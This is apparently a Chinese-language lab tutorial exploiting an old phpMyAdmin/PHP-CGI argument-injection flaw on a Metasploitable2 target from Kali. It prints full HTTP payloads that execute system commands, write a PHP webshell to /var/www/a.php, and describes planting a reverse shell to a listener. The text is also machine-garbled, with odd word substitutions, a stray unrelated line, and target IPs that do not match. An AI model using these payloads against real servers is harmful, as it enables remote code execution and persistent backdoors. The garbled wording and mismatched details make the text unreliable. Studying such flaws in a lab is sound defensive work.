本日要演示的phpMyAdmin漏洞便是通过在URL地址编辑或者定制发送的指令,使其实行一个PHP页面。
在安装比较旧版本phpMyAdmin的时候都采取默认配置,都会存在这个漏洞。

环境准备

靶机:Metasploitable2

攻击机:Kali

phpcmd介绍一个早期phpMyAdmin软件的破绽 Java

上面两个的安装我就不展开了,网上都有详细的教程,而且也非常大略。

漏洞判断

正常流程实在是扫描到目标机器安装了phpMyAdmin,然后我们确认其版本,并确认是否存在预期漏洞。
我们准备的靶机Metasploitable2便是安装了这个软件并存在这个漏洞的,这里不演示前期扫描的动作了,感兴趣可以翻一下我以前发的做事扫描的帖子。

判断靶机中的phpMyAdmin是存在漏洞的依据,紧张是在浏览器上访问目标机器的这个地址:

判断靶机是否存在漏洞

192.168.188.129是靶机ip,只要访问这个地址成功,并显示这个页面,就解释这个phpMyAdmin有我们预期的漏洞。

漏洞-初步利用

这个漏洞的利用办法实在很大略,在kali打开burpsuite,切换到Repeater模块,然后将攻击目标改成靶机的ip和phpMyAdmin的端口:

然后在request中输入以下要求内容:

POST http://192.168.1.175/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1Host:192.168.1.103Content-Length: 35<?phppassthru('pwd');die();?>

轻微做以下阐明,地址后面用?拼接一长串的浸染是对PHP的主配置文件.ini进行修正;allow_url_include是让要求能够对做事器上的其它文件进行引用;auto_prepend_file表示附加文件;passthru('pwd')作为参数的字符串便是系统操作指令,在linux可以说是terminal命令;die()表示实行到这里就结束,如果不加die(),会返回很多没用的代码

点击左上角的send按钮,就能将要求发送给靶机,靶机会将要求中第6行passthru()方法里的命令实行结果返回给客户端:

能实行系统指令,当然就可以向靶机写入文件,而能写入就能做很多操作了,比如提权、植入病毒、盗密码等等。

漏洞-写入webshell

写入webshell,直接用下面的内容作为要求:

POST http://192.168.1.175/phpMyAdmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1Host:192.168.1.103Content-Length: 100<?phppassthru('echo "<?php \$cmd = \$_GET["cmd"];system(\$cmd);?>" > /var/www/a.php');die();?>

实行后收到的报文中看不出有没有成功:

实行写入webshell的要求

可以在实行一些ls查看是否写入成功:

检讨写入的文件是否天生

还可以检讨以下文件的内容是不是我们写入的:

检讨文件内容

确认无误后,就可以利用这个webshell了,直接用浏览器访问,并将须要实行的命令通过地址拼接传入,例如调用cmd实行命令:

利用webshell

漏洞-传入一个PHP反弹shell

先阐明一下什么是php反弹shell,便是植入这个php反弹shell后,被植入的机器会主动连接指定机器的指定端口,这样这台被访问的机器就能获取发起连接要求机器的掌握权了。

kali里面有现成的php反弹shell,位置在/usr/share/webshells/php:

php反弹shell

对php文件中的目标机器和端口进行修正:

修正ip和端口

在填入ip这个机器开启指定端口的监听:

开启监听

将修正过后的内容都通过要求发送给目标主机:

发送php反弹shell

不会有要求结果返回,但是在监听的窗口可以看到收到了连接,拿到了shell:

监听窗口

可以看到在这个连接中实行命令是有效的。